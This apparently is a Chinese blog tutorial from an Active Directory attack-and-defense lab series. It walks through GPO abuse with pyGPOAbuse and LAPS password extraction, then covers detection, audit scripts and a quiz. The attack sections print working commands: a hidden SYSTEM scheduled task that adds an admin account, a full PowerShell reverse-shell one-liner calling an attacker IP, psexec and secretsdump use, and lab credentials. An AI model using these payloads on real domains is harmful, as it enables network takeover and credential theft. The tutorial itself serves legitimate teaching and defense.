iT邦幫忙

2025 iThome 鐵人賽

DAY 20
1
Security

資安這條路:AD 攻防實戰演練系列 第 20 篇

AD 攻防實戰演練 Day 20:GPO 濫用與 LAPS 密碼提取

  • 分享至 

  • xImage
  •  

前言

在前幾天的課程中,我們深入學習了 ACL(存取控制清單)的基本概念與攻擊技巧。今天將進入更進階的攻擊場景,探討兩個在企業網域環境中極具威脅性的攻擊向量:

Group Policy Object (GPO) 濫用:當攻擊者取得對 GPO 的寫入權限,就能在整個網域範圍內執行任意程式碼,這是從單一突破點快速擴大影響範圍的關鍵技術。

Local Administrator Password Solution (LAPS) 密碼提取:LAPS 是微軟推薦用來管理本機管理員密碼的解決方案,但若權限設定不當,反而成為攻擊者橫向移動的捷徑。

透過本次實戰演練,你將學會如何識別這些漏洞、執行概念驗證攻擊,以及實施有效的防禦措施。

學習目標

完成今天的實作後,你將能夠:

  1. 識別並利用 GPO 錯誤設定
    • 使用 BloodHound 發現 GPO 攻擊路徑
    • 透過 pyGPOAbuse 注入惡意計劃任務
  2. 提取與利用 LAPS 密碼
    • 偵測網域中是否部署 LAPS
    • 使用 NetExec 批次提取 LAPS 密碼
  3. 實施防禦措施
    • 設定正確的 GPO 權限控制
    • 啟用關鍵事件的稽核日誌
    • 建立 SIEM 偵測規則

快速參考

本日關鍵指令

# GPO 攻擊
python3 pygpoabuse.py DOMAIN/user:pass -gpo-id "GUID" -command "..." -taskname "..."
python3 pygpoabuse.py ... --cleanup -f  # 清理

# LAPS 偵測與提取
ldapsearch -x -H ldap://DC "(name=ms-Mcs-AdmPwd)"  # 偵測 LAPS
nxc ldap DC -u user -p pass --module laps          # 提取密碼

# 密碼使用
nxc smb TARGET -u Administrator -p 'LAPS_PASS' --local-auth

關鍵工具

  • BloodHound:攻擊路徑分析
  • pyGPOAbuse:GPO 注入工具
  • NetExec (nxc):多功能網域測試工具
  • Impacket:Python 腳本集合

實驗環境需求

必備憑證與權限

確保你已經取得以下帳號的存取權限:

# sevenkingdoms.local 域
tywin.lannister:powerkingftw135         # 起始點(低權限使用者)

# north.sevenkingdoms.local 域
samwell.tarly:Heartsbane                # 用於 GPO 攻擊

# essos.local 域
jorah.mormont:H0nnor!                   # 用於讀取 LAPS

工具清單

# 確認 Impacket 工具
which impacket-secretsdump
which impacket-getST
which impacket-wmiexec
which impacket-psexec

# 安裝 Impacket Fork (包含 dacledit, owneredit)
git clone https://github.com/ThePorgs/impacket.git
cd impacket
pip3 install .

# 下載 pyGPOAbuse
git clone https://github.com/Hackndo/pyGPOAbuse.git
cd pyGPOAbuse
pip3 install -r requirements.txt

# 確認 NetExec
which nxc  # NetExec (新版 CME)

第一部分:GPO 濫用攻擊(north.sevenkingdoms.local)

1.1 什麼是 GPO?

Group Policy Object (GPO) 是 Windows 域環境中用於集中管理設定的機制。

GPO 可以控制:

  • 軟體安裝/移除
  • 腳本執行(登入/登出/啟動/關機)
  • 排程任務
  • 註冊表設定
  • 安全設定
  • 等等...

GPO 的危險性:

如果攻擊者可以修改 GPO
↓
可以在所有套用該 GPO 的電腦上執行任意命令
↓
通常是 SYSTEM 權限!

1.2 使用 BloodHound 尋找可濫用的 GPO

步驟 1:查詢非域管理員對 GPO 有寫入權限的情況

# 查詢非域管理員對 GPO 有寫入權限的情況
MATCH p=(u:User)-[r:GenericWrite|GenericAll|WriteProperty|WriteDacl|Owns]->(g:GPO)
WHERE NOT u.admincount=true
RETURN p

image

在 GOAD 環境中的發現:

samwell.tarly@north.sevenkingdoms.local (普通使用者)
    ↓ GenericWrite + WriteDacl
STARKWALLPAPER@NORTH.SEVENKINGDOMS.LOCAL (GPO)

步驟 2:查詢從該使用者到高價值目標的完整攻擊路徑

# 使用最短路徑查詢找出攻擊鏈
MATCH p=shortestPath(
  (u:User {name: "SAMWELL.TARLY@NORTH.SEVENKINGDOMS.LOCAL"})
  -[*1..5]->
  (target)
)
WHERE target.highvalue = true
RETURN p
LIMIT 10

image

完整攻擊路徑分析:

samwell.tarly@north.sevenkingdoms.local
    ↓ GenericWrite + WriteDacl
STARKWALLPAPER@NORTH.SEVENKINGDOMS.LOCAL (GPO)
    ↓ 影響範圍
    ├─→ NORTH.SEVENKINGDOMS.LOCAL (Domain)
    │    └─→ 可達的高價值組群:
    │        ├─ DOMAIN ADMINS@NORTH.SEVENKINGDOMS.LOCAL
    │        ├─ DOMAIN CONTROLLERS@NORTH.SEVENKINGDOMS.LOCAL
    │        └─ ADMINISTRATORS@NORTH.SEVENKINGDOMS.LOCAL
    │
    └─→ SEVENKINGDOMS.LOCAL (Domain)
         └─→ ENTERPRISE ADMINS@SEVENKINGDOMS.LOCAL

關鍵發現:

  • 該 GPO 應用於整個 NORTH.SEVENKINGDOMS.LOCAL 網域
  • 影響範圍包括 Domain Controllers(網域控制站)
  • 總共可達 26 個高價值目標
  • 可橫跨到 SEVENKINGDOMS.LOCAL 父網域

風險評估:

嚴重性:極高 (Critical)

風險項目 說明
受影響範圍 整個 NORTH.SEVENKINGDOMS.LOCAL 網域 + 部分 SEVENKINGDOMS.LOCAL
可達目標 26 個高價值對象,包括 Domain Admins、Domain Controllers、Enterprise Admins
攻擊難度 低 - 只需修改 GPO 設定
影響時效 GPO 刷新時間(預設 90 分鐘內生效)
潛在後果 完全控制網域控制站 → Domain Admin 權限

攻擊路徑總結:

  1. samwell.tarly 使用 GenericWrite 修改 STARKWALLPAPER GPO
  2. 在 GPO 中新增惡意腳本(如立即排程任務)
  3. 等待 GPO 應用到 Domain Controllers
  4. 在網域控制站上以 SYSTEM 權限執行惡意程式碼
  5. 獲得 Domain Admin 權限,完全控制網域

1.3 使用 pyGPOAbuse 執行攻擊

安裝 pyGPOAbuse

git clone https://github.com/Hackndo/pyGPOAbuse.git
cd pyGPOAbuse
python3 -m pip install -r requirements.txt

攻擊場景 1:建立本地管理員使用者

步驟 1:執行 pyGPOAbuse 攻擊

# 從 BloodHound 取得 GPO ID
# 範例:7F28A4E9-0C5C-41FD-B284-6D0A94BFE900
python3 pygpoabuse.py \
  north.sevenkingdoms.local/samwell.tarly:'Heartsbane' \
  -gpo-id "7F28A4E9-0C5C-41FD-B284-6D0A94BFE900"

image

輸出:

[+] ScheduledTask TASK_6170b455 created!

步驟 2:驗證 GPO 修改是否成功

# 檢查 ScheduledTasks.xml 是否已建立
smbclient //192.168.139.11/SYSVOL -U "north.sevenkingdoms.local/samwell.tarly%Heartsbane" \
  -c "ls north.sevenkingdoms.local/Policies/{7F28A4E9-0C5C-41FD-B284-6D0A94BFE900}/Machine/Preferences/ScheduledTasks/"

image

預期輸出:

  .                                   D        0  Fri Oct  3 08:33:47 2025
  ..                                  D        0  Fri Oct  3 08:33:47 2025
  ScheduledTasks.xml                  A     1854  Fri Oct  3 08:33:47 2025

步驟 3:下載並檢查任務內容

# 下載 ScheduledTasks.xml
smbclient //192.168.139.11/SYSVOL -U "north.sevenkingdoms.local/samwell.tarly%Heartsbane" \
  -c "get north.sevenkingdoms.local/Policies/{7F28A4E9-0C5C-41FD-B284-6D0A94BFE900}/Machine/Preferences/ScheduledTasks/ScheduledTasks.xml ScheduledTasks.xml"

# 查看內容
cat ScheduledTasks.xml

image

關鍵內容分析:

<Task version="1.3">
    <RegistrationInfo>
        <Description>MSBuild build and release task</Description>  <!-- 偽裝成合法任務 -->
    </RegistrationInfo>
    <Principals>
        <Principal id="Author">
            <UserId>NT AUTHORITY\System</UserId>                   <!-- SYSTEM 權限執行 -->
            <RunLevel>HighestAvailable</RunLevel>
        </Principal>
    </Principals>
    <Settings>
        <Enabled>true</Enabled>                                    <!-- 已啟用 -->
        <Hidden>true</Hidden>                                      <!-- 隱藏任務 -->
    </Settings>
    <Actions Context="Author">
        <Exec>
            <Command>c:\windows\system32\cmd.exe</Command>
            <Arguments>/c "net user john H4x00r123.. /add &amp;&amp; net localgroup administrators john /add"</Arguments>
        </Exec>
    </Actions>
    <Triggers>
        <TimeTrigger>
            <StartBoundary>%LocalTimeXmlEx%</StartBoundary>        <!-- 立即執行 -->
        </TimeTrigger>
    </Triggers>
</Task>

攻擊機制:

1. pyGPOAbuse 修改 GPO 的 ScheduledTasks.xml 設定檔案
2. 新增一個立即排程任務(ImmediateTaskV2)
3. 任務內容:
   - 建立使用者:john
   - 密碼:H4x00r123..
   - 新增到本地管理員組
4. 執行權限:NT AUTHORITY\System(最高權限)
5. 執行時機:
   - Computer GPO: 電腦啟動時 / gpupdate /force
   - 預設 GPO 更新週期:90-120 分鐘
6. 隱蔽性:
   - 任務名稱:TASK_6170b455(隨機生成)
   - 任務描述:MSBuild build and release task(偽裝)
   - 隱藏屬性:Hidden=true

步驟 4:等待 GPO 應用並驗證

在目標電腦上(如果有存取權限)觸發 GPO 更新:

# 強制 GPO 更新
gpupdate /force

# 等待幾秒後檢查新使用者
net user

預期輸出:

User accounts for \\CASTELBLACK

-------------------------------------------------------------------------------
Administrator            Guest                    john
krbtgt                   ...

步驟 5:測試新建立的使用者

# 使用 CrackMapExec 測試 john 帳戶
crackmapexec smb castelblack.north.sevenkingdoms.local \
  -u john \
  -p 'H4x00r123..' \
  --local-auth

image

成功輸出:

SMB         castelblack.north.sevenkingdoms.local 445    CASTELBLACK      [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:CASTELBLACK) (signing:False) (SMBv1:False)
SMB         castelblack.north.sevenkingdoms.local 445    CASTELBLACK      [+] CASTELBLACK\john:H4x00r123.. (Pwn3d!)

步驟 6:使用新權限進行橫向移動

# 測試多台機器
crackmapexec smb 192.168.139.0/24 \
  -u john \
  -p 'H4x00r123..' \
  --local-auth

image

主機 IP 狀態 權限等級 說明
CASTELBLACK 192.168.139.22 [+] (Pwn3d!) 管理員 完全控制!
BRAAVOS 192.168.139.23 [+] 普通使用者 可登入但權限受限
# 取得 Shell
impacket-psexec john:'H4x00r123..'@192.168.139.22

image

成功取得 Shell 的輸出:

[*] Requesting shares on 192.168.139.22.....
[*] Found writable share ADMIN$
[*] Uploading file jKHPGQWr.exe
[*] Opening SVCManager on 192.168.139.22.....
[*] Creating service vHDf on 192.168.139.22.....
[*] Starting service vHDf.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.1697]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>
# 提取本地憑證
impacket-secretsdump john:'H4x00r123..'@192.168.139.22

風險評估:

項目 詳情
受影響範圍 所有套用 STARKWALLPAPER GPO 的電腦(包括 Domain Controllers)
新增帳戶 john (密碼: H4x00r123..)
權限等級 本地管理員 → 可能提升至 Domain Admin
偵測難度 中等(會產生 Event ID 4720 和 4732)
持久性 高(除非 GPO 被還原,否則會在所有新加入的電腦上執行)

攻擊場景 2:取得 PowerShell 反向 Shell

# 在 Kali 上啟動監聽
nc -lvnp 4444

使用 Metasploit

msfconsole -q
use exploit/multi/handler
set payload windows/shell/reverse_tcp
set LHOST 192.168.139.136
set LPORT 4444
exploit -j

image

執行 pyGPOAbuse(在新終端):

python3 pygpoabuse.py \
  north.sevenkingdoms.local/samwell.tarly:'Heartsbane' \
  -gpo-id "7F28A4E9-0C5C-41FD-B284-6D0A94BFE900" \
  -powershell \
  -command "\$c = New-Object System.Net.Sockets.TCPClient('192.168.139.136',4444);\$s = \$c.GetStream();[byte[]]\$b = 0..65535|%{0};while((\$i = \$s.Read(\$b, 0, \$b.Length)) -ne 0){    \$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$b,0, \$i);    \$sb = (iex \$d 2>&1 | Out-String );    \$sb = ([text.encoding]::ASCII).GetBytes(\$sb + 'ps> ');    \$s.Write(\$sb,0,\$sb.Length);    \$s.Flush()};\$c.Close()" \
  -taskname "WindowsUpdate" \
  -description "Security Update Installation"

image

smbclient //winterfell.north.sevenkingdoms.local/SYSVOL \
  -U north.sevenkingdoms.local/samwell.tarly%'Heartsbane'

smb: \> cd north.sevenkingdoms.local/Policies/{7F28A4E9-0C5C-41FD-B284-6D0A94BFE900}/Machine/Preferences/ScheduledTasks
smb: \> dir

# 應該看到 ScheduledTasks.xml 文件
smb: \> get ScheduledTasks.xml
smb: \> exit

# 在 Kali 上查看文件內容
cat ScheduledTasks.xml

image

幾分鐘後(或在目標機器執行 gpupdate /force):

nc 監聽器收到連接:

listening on [any] 4444 ...
connect to [192.168.139.136] from (UNKNOWN) [192.168.139.22] 49823

ps> whoami
nt authority\system

ps> hostname
CASTELBLACK

image

成功!取得 SYSTEM 權限的反向 Shell!

1.4 重要警告與清理

極度危險:

pyGPOAbuse 會修改正式環境的 GPO!

風險:
1. 影響所有套用該 GPO 的電腦
2. 可能導致業務中斷
3. 修改不會自動還原
4. 可能破壞現有設定

絕對不要在生產環境使用,除非:
- 客戶明確授權
- 已經備份 GPO
- 有詳細的清理計劃

清理步驟

方法 1:使用 pyGPOAbuse 自動清理(推薦)

python3 pygpoabuse.py \
  north.sevenkingdoms.local/samwell.tarly:'Heartsbane' \
  -gpo-id "7F28A4E9-0C5C-41FD-B284-6D0A94BFE900" \
  -taskname "TASK_6170b455" \
  --cleanup \
  -f \
  -v

image

方法 2:手動刪除 SYSVOL 文件

smbclient //winterfell.north.sevenkingdoms.local/SYSVOL \
  -U north.sevenkingdoms.local/samwell.tarly%'Heartsbane'

# 進入 SMB shell 後執行:
smb: \> cd north.sevenkingdoms.local/Policies/{7F28A4E9-0C5C-41FD-B284-6D0A94BFE900}/Machine/Preferences/ScheduledTasks
smb: \> del ScheduledTasks.xml
smb: \> dir
smb: \> exit

image

方法 3:在目標機器上手動刪除計劃任務

# 連接到目標機器(CASTELBLACK)
impacket-psexec john:'H4x00r123..'@192.168.139.22

# 在 Windows Shell 中執行:
C:\> schtasks /query | findstr /I "WindowsUpdate"

# 刪除任務
C:\> schtasks /delete /tn "WindowsUpdate" /f

# 強制更新 GPO 以確保移除
C:\> gpupdate /force

C:\> exit

在目標機器上刪除使用者(需要管理員權限)

net user john /delete

手動清理步驟(進階)

# 在域控制器上執行

# 1. 開啟 Group Policy Management
gpmc.msc

# 2. 找到被修改的 GPO
# 3. 右鍵 → Settings → Computer Configuration → Preferences → Control Panel Settings → Scheduled Tasks
# 4. 刪除 pyGPOAbuse 建立的排程任務

# 5. 或直接刪除 GPO 修改的檔案
# SYSVOL 路徑:\\DC\SYSVOL\domain\Policies\{GPO-ID}\Machine\Preferences\ScheduledTasks\

# 6. 強制 GPO 更新
gpupdate /force /target:computer

第二部分:LAPS 密碼提取(essos.local)

2.1 什麼是 LAPS?

Local Administrator Password Solution (LAPS) 是 Microsoft 提供的工具,用於:

  • 自動管理加入域的電腦的本地 Administrator 密碼
  • 定期輪換密碼(預設 30 天)
  • 將密碼儲存在 AD 的電腦物件屬性中

LAPS 儲存的屬性:

  • ms-Mcs-AdmPwd:明文密碼(未加密儲存在 AD 中)
  • ms-Mcs-AdmPwdExpirationTime:密碼過期時間(FILETIME 格式)

預設權限:

  • Domain Admins 和 Enterprise Admins 可讀取所有 LAPS 密碼
  • 可透過 ACL 委派特定使用者/群組讀取權限
  • 電腦物件本身有 SELF 寫入權限(用於更新密碼)

2.2 偵測 LAPS 部署

檢查 AD Schema 是否包含 LAPS 屬性:

ldapsearch -x -H ldap://192.168.139.12 \
  -D "jorah.mormont@essos.local" \
  -w 'H0nnor!' \
  -b "CN=Schema,CN=Configuration,DC=essos,DC=local" \
  "(name=ms-Mcs-AdmPwd)"

image

成功輸出:

# ms-Mcs-AdmPwd, Schema, Configuration, essos.local
dn: CN=ms-Mcs-AdmPwd,CN=Schema,CN=Configuration,DC=essos,DC=local
adminDescription: LAPS Password Attribute
lDAPDisplayName: ms-Mcs-AdmPwd

如果查詢回傳結果,表示此域已部署 LAPS。

2.3 使用 NetExec 讀取 LAPS 密碼

nxc ldap 192.168.139.12 \
  -d essos.local \
  -u jorah.mormont \
  -p 'H0nnor!' \
  --module laps

image

輸出範例:

LAPS  192.168.139.12  389  MEEREEN  [*] Getting LAPS Passwords
LAPS  192.168.139.12  389  MEEREEN  Computer:BRAAVOS$ User:  Password:%bqi]1Or0[qW7f

欄位說明:

  • Computer: 電腦名稱($ 表示電腦帳戶)
  • User: 通常為空(預設為本地 Administrator)
  • Password: LAPS 管理的密碼

2.4 手動查詢 LAPS 密碼

列出所有有 LAPS 密碼的電腦:

ldapsearch -x -H ldap://192.168.139.12 \
  -D "jorah.mormont@essos.local" \
  -w 'H0nnor!' \
  -b "DC=essos,DC=local" \
  "(&(objectClass=computer)(ms-Mcs-AdmPwd=*))" \
  cn dNSHostName ms-Mcs-AdmPwd ms-Mcs-AdmPwdExpirationTime

image

查詢特定電腦:

ldapsearch -x -H ldap://192.168.139.12 \
  -D "jorah.mormont@essos.local" \
  -w 'H0nnor!' \
  -b "DC=essos,DC=local" \
  "(cn=BRAAVOS)" \
  ms-Mcs-AdmPwd ms-Mcs-AdmPwdExpirationTime

image

輸出:

cn: BRAAVOS
ms-Mcs-AdmPwd: %bqi]1Or0[qW7f
ms-Mcs-AdmPwdExpirationTime: 134043286027252271

2.5 驗證密碼有效期

LAPS 使用 Windows FILETIME 格式儲存過期時間,需要轉換:

python3 << 'EOF'
import datetime

filetime = 134043286027252271
timestamp = (filetime - 116444736000000000) / 10000000
dt = datetime.datetime.utcfromtimestamp(timestamp)
now = datetime.datetime.utcnow()

print(f"密碼過期時間 (UTC): {dt}")
print(f"目前時間 (UTC): {now}")
print(f"狀態: {'✅ 有效' if dt > now else '❌ 已過期'}")
print(f"剩餘天數: {(dt - now).days} 天")
EOF

image

2.6 使用 LAPS 密碼進行認證

基本認證測試:

# 使用本地認證
nxc smb 192.168.139.23 \
  -u Administrator \
  -p '%bqi]1Or0[qW7f' \
  --local-auth

預期成功輸出:

SMB  192.168.139.23  445  BRAAVOS  [+] BRAAVOS\Administrator:%bqi]1Or0[qW7f (Pwn3d!)

2.7 實戰故障排除案例

在實際測試中,我們遇到了 LAPS 密碼無法使用的情況,這是非常好的學習機會:

問題現象:

nxc smb 192.168.139.23 -u Administrator -p '%bqi]1Or0[qW7f' --local-auth
SMB  192.168.139.23  445  BRAAVOS  [-] BRAAVOS\Administrator:%bqi]1Or0[qW7f STATUS_LOGON_FAILURE

診斷過程:

  1. 確認密碼有效期(密碼未過期 ✓)
  2. 枚舉本機使用者(發現 vagrant 帳戶)
nxc smb 192.168.139.23 \
  -u jorah.mormont \
  -p 'H0nnor!' \
  -d essos.local \
  --rid-brute

image

輸出:

SMB  192.168.139.23  445  BRAAVOS  500: BRAAVOS\Administrator (SidTypeUser)
SMB  192.168.139.23  445  BRAAVOS  1000: BRAAVOS\vagrant (SidTypeUser)
  1. 檢查 LAPS GPO 連結(LAPS GPO 正確套用 ✓)
ldapsearch -x -H ldap://192.168.139.12 \
  -D "jorah.mormont@essos.local" \
  -w 'H0nnor!' \
  -b "OU=Laps,DC=essos,DC=local" \
  gPLink

輸出:

dn: OU=Laps,DC=essos,DC=local
gPLink: [LDAP://cn={A4C7F480-D5A1-448B-BFD7-B641928046C3},cn=policies,cn=system,DC=essos,DC=local;2]
  1. 測試不同帳戶名稱(Administrator、vagrant 皆失敗 ✗)
# 測試不同帳戶
for user in Administrator admin vagrant localadmin; do
  echo "Testing: $user"
  nxc smb 192.168.139.23 -u $user -p '%bqi]1Or0[qW7f' --local-auth
done

可能原因分析:

原因 機率 驗證方法
LAPS 管理的不是 Administrator 高 檢查 GPO Registry.pol 設定
AD 與主機密碼不同步 中 強制主機執行 gpupdate
主機未正確套用 LAPS GPO 中 檢查主機的 LAPS 服務狀態
特殊字元轉義問題 低 使用不同引號方式測試

關鍵學習點:

  • LAPS 密碼提取成功 ≠ 密碼可用
  • 在測試環境中,設定不同步是常見問題
  • 防禦者應定期驗證 LAPS 的實際運作狀態
  • 可能需要檢查 GPO 中的 AdmPwdEnabled 設定

進一步診斷:

# 查看 LAPS GPO 設定
ldapsearch -x -H ldap://192.168.139.12 \
  -D "jorah.mormont@essos.local" \
  -w 'H0nnor!' \
  -b "CN={A4C7F480-D5A1-448B-BFD7-B641928046C3},CN=Policies,CN=System,DC=essos,DC=local" \
  gPCFileSysPath displayName versionNumber

2.8 使用 PowerView 讀取 LAPS(Windows 環境)

在域內的 Windows 機器上:

Import-Module .\PowerView.ps1

# 查詢所有有 LAPS 密碼的電腦
Get-DomainComputer | 
  Where-Object { $_."ms-Mcs-AdmPwd" -ne $null } | 
  Select-Object cn, ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime

# 查詢特定電腦
Get-DomainComputer -Identity "BRAAVOS" -Properties ms-Mcs-AdmPwd

2.9 枚舉 LAPS 讀取權限

查詢誰有權限讀取 LAPS 密碼:

# 查詢電腦物件的 ACL
ldapsearch -x -H ldap://192.168.139.12 \
  -D "jorah.mormont@essos.local" \
  -w 'H0nnor!' \
  -b "CN=BRAAVOS,OU=Laps,DC=essos,DC=local" \
  nTSecurityDescriptor

使用 PowerView:

# 查詢 ms-Mcs-AdmPwd 屬性的 ACE
Get-DomainObjectAcl -Identity "BRAAVOS" | 
  Where-Object { $_.ObjectAceType -eq "ms-Mcs-AdmPwd" } |
  Select-Object SecurityIdentifier, ActiveDirectoryRights

2.10 安全建議與常見錯誤設定

常見的 LAPS 設定錯誤:

  1. 過度授權
    • 給予過多使用者/群組讀取權限
    • 使用域範圍權限而非 OU 範圍
  2. 缺乏監控
    • 未記錄 LAPS 密碼讀取事件
    • 未定期審查 ACL
  3. 密碼策略不足
    • 使用預設的 14 字元長度(建議 20+)
    • 輪換週期過長

防禦措施:

  • 使用最小權限原則授予 LAPS 讀取權限
  • 啟用 LAPS 審計日誌(Event ID 4662)
  • 定期檢查誰有權限讀取 LAPS
  • 考慮使用 Windows LAPS(較新版本,支援 Azure AD)

第三部分:防禦與偵測

3.1 防禦措施

最小權限原則

防禦措施 實施方法 效果 難度
定期 ACL 審計 使用 PowerView/BloodHound 審查異常 ACL 極高 中等
限制 WriteDacl/WriteOwner 移除非必要的高危險權限 極高 簡單
保護高價值帳號 加入 Protected Users 群組 高 簡單
啟用 AdminSDHolder 確保受保護群組的 ACL 被正確管理 高 簡單
限制 GPO 修改權限 只有 Domain Admins 可修改 GPO 極高 簡單
強化 LAPS ACL 限制誰可以讀取 LAPS 密碼 高 簡單

定期審計 ACL

# 尋找對使用者有 GenericAll/GenericWrite 的非管理員
Get-DomainObjectAcl -ResolveGUIDs | 
  Where-Object {
    $_.ActiveDirectoryRights -match "GenericAll|GenericWrite" -and
    $_.SecurityIdentifier -match "S-1-5-21-"
  } | 
  Select-Object ObjectDN, SecurityIdentifier, ActiveDirectoryRights

# 尋找對 GPO 有寫入權限的非管理員
Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=domain,DC=local" |
  Where-Object {
    $_.ActiveDirectoryRights -match "WriteProperty|WriteDacl|GenericWrite|GenericAll"
  }

使用 BloodHound 識別攻擊路徑

# 查詢到 Domain Admins 的最短路徑
MATCH p=shortestPath((u:User {admincount:false})-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}))
RETURN p

# 查詢利用 ACL 的路徑
MATCH p=(u:User)-[r:GenericAll|GenericWrite|WriteOwner|WriteDacl|ForceChangePassword*1..5]->(n)
WHERE u.admincount=false AND NOT u.name CONTAINS "VAGRANT"
RETURN p

限制 GPO 修改權限

# 審查 GPO 的 ACL
Get-GPO -All | ForEach-Object {
    $gpo = $_
    Get-GPPermission -Guid $gpo.Id -All | 
    Where-Object { 
        $_.Permission -match "GpoEdit" -and 
        $_.Trustee.Name -notmatch "Domain Admins|Enterprise Admins"
    } |
    Select-Object @{N="GPO";E={$gpo.DisplayName}}, Trustee, Permission
}

3.2 偵測與監控

關鍵事件 ID

Event ID 描述 監控重點
4662 物件存取操作 WriteProperty, WriteDacl 操作
4670 物件權限變更 ACL 被修改
4724 重置密碼嘗試 ForceChangePassword 攻擊
4738 使用者帳號變更 msDS-KeyCredentialLink 修改(Shadow Credentials)
5136 目錄服務物件修改 GPO 修改、群組成員變更

監控 GPO 修改

# Event ID 5136 - 目錄服務物件修改
# 監控:CN=Policies,CN=System 下的變更

index=windows EventCode=5136
| search ObjectDN="CN=Policies,CN=System*"
| table _time SubjectUserName ObjectDN AttributeName AttributeValue

監控 LAPS 密碼存取

# Event ID 4662 - 物件存取操作
index=windows EventCode=4662 Properties="*ms-Mcs-AdmPwd*"
| stats count by SubjectUserName, ObjectName
| where count > 10  # 批次提取密碼

3.3 自動化稽核腳本

GPO 權限稽核腳本

# Get-DangerousGPOPermissions.ps1
Get-GPO -All | ForEach-Object {
    $gpo = $_
    Get-GPPermission -Guid $gpo.Id -All | 
    Where-Object { 
        $_.Permission -match "GpoEdit|FullControl" -and
        $_.Trustee.Name -notmatch "Domain Admins|Enterprise Admins|SYSTEM"
    } | Select-Object @{N="GPO";E={$gpo.DisplayName}}, 
                       @{N="Trustee";E={$_.Trustee.Name}}, 
                       Permission, Inherited
}

LAPS 權限稽核腳本

# Get-LAPSPermissions.ps1
$computers = Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd
foreach ($computer in $computers) {
    $acl = Get-Acl "AD:$($computer.DistinguishedName)"
    $acl.Access | Where-Object {
        $_.ObjectType -eq "ms-Mcs-AdmPwd" -and
        $_.IdentityReference -notmatch "Domain Admins|SYSTEM"
    } | Select-Object @{N="Computer";E={$computer.Name}},
                       IdentityReference, AccessControlType
}

SIEM 偵測規則(Splunk)

# 偵測 GPO 修改
index=windows EventCode=5136 ObjectClass="groupPolicyContainer"
| stats count by _time, SubjectUserName, ObjectDN
| where count > 5  # 短時間內大量修改

# 偵測 LAPS 密碼存取
index=windows EventCode=4662 Properties="*ms-Mcs-AdmPwd*"
| stats count by SubjectUserName, ObjectName
| where count > 10  # 批次提取密碼

3.4 使用 PingCastle 進行安全評估

# PingCastle 是 Windows 工具,可以快速評估 AD 安全態勢
# 下載:https://www.pingcastle.com/

# 在域內 Windows 機器執行
PingCastle.exe --healthcheck --server dc.domain.local

# 報告會包含:
# - 危險的 ACL 設定
# - AdminSDHolder 問題
# - GPO 權限問題
# - LAPS 設定問題

第四部分:實戰測驗

測驗 1:AdminSDHolder 保護機制

問題:為什麼初始版本的 GOAD 將 ACL 設定在 Domain Admins 群組上會導致攻擊演練失效?

A) Domain Admins 群組無法被授予額外的 ACL 權限
B) AdminSDHolder 機制每 60 分鐘會重置受保護群組的 ACL
C) Domain Admins 群組的 ACL 是唯讀的,無法修改
D) BloodHound 無法偵測 Domain Admins 的 ACL 關係

正確答案:B

精簡解析:
AdminSDHolder 是 AD 用來保護高權限群組的機制。SDProp 執行緒每 60 分鐘會從 AdminSDHolder 物件複製 ACL 到受保護群組(包括 Domain Admins),任何手動新增的 ACL 會被移除。因此攻擊者即使成功設定 ACL,也會在一小時內失效。

詳細說明請參閱附錄 A:AdminSDHolder 深度解析。

測驗 2:GenericWrite vs WriteDacl

問題:GenericWrite 和 WriteDacl 這兩種權限的主要區別是什麼?

A) GenericWrite 只能修改物件屬性,WriteDacl 可以修改 ACL
B) GenericWrite 可以執行所有寫入操作包括修改 ACL,WriteDacl 只能修改 ACL
C) WriteDacl 的權限範圍比 GenericWrite 更大
D) 兩者沒有區別,只是名稱不同

正確答案:A

精簡解析:
GenericWrite 允許修改大部分物件屬性(如 msDS-KeyCredentialLink、SPN 等),但不能修改 ACL。WriteDacl 則專門用於修改物件的 DACL(訪問控制清單),可以給自己授予任意權限。從攻擊角度看,WriteDacl 更強大,因為它可以授予自己 GenericWrite 及其他所有權限。

詳細說明請參閱附錄 B:權限類型詳解。

測驗 3:Shadow Credentials on Computer

問題:在攻擊鏈的最後,我們對域控制器 kingslanding$ 執行 Shadow Credentials 攻擊。為什麼取得 DC 的機器帳號(kingslanding$)就等於控制了整個域?

A) 機器帳號預設是 Domain Admins 群組成員
B) DC 的機器帳號可以執行 S4U2Self 冒充任意使用者,包括 Administrator
C) DC 的機器帳號有權限修改所有使用者的密碼
D) 機器帳號擁有域的 krbtgt 密鑰

正確答案:B

精簡解析:
域控制器的機器帳號具有 TrustedToAuthForDelegation 屬性,允許執行 S4U2Self(Service for User to Self)。這個機制讓 DC 可以代表任意使用者取得服務票證,而不需要該使用者的密碼或憑證。攻擊者利用此特性可以冒充 Administrator,獲得完全控制權。這是協定轉換(Protocol Transition)的設計,但也成為攻擊向量。

詳細說明請參閱附錄 C:S4U2Self 機制詳解。

測驗 4:GPO 濫用攻擊的風險

問題:pyGPOAbuse 工具在利用 GPO 錯誤設定時,為什麼被認為是極度危險的,不應在生產環境使用?

A) pyGPOAbuse 會刪除原有的 GPO,導致所有設定丟失
B) pyGPOAbuse 會修改 GPO 但不會自動還原,影響所有套用該 GPO 的電腦
C) pyGPOAbuse 只能在 Linux 上執行,無法用於 Windows 域
D) pyGPOAbuse 會觸發域控制器的安全警報,導致攻擊被發現

正確答案:B

精簡解析:
pyGPOAbuse 直接修改 SYSVOL 中的 GPO 設定檔案(如 ScheduledTasks.xml),這些修改是永久的,不會自動還原。一旦 GPO 被修改,所有套用該 GPO 的電腦(可能數百台)都會執行惡意程式碼,且會持續影響新加入域的電腦。除非手動清理,否則這些修改會一直存在,這就是為什麼它極度危險。

測驗 5:LAPS 的安全考量

問題:LAPS(Local Administrator Password Solution)將本地管理員密碼以明文儲存在 Active Directory 的電腦物件屬性中。這看起來很不安全,為什麼 Microsoft 還是推薦使用 LAPS?

A) LAPS 的密碼儲存在加密的 AD 屬性中,實際上不是明文
B) 雖然是明文儲存,但 ACL 控制誰可以讀取,且每台電腦密碼不同並定期輪換
C) LAPS 密碼只能由域控制器讀取,其他使用者無法存取
D) LAPS 使用不可逆的雜湊儲存密碼,類似 NT Hash

正確答案:B

精簡解析:
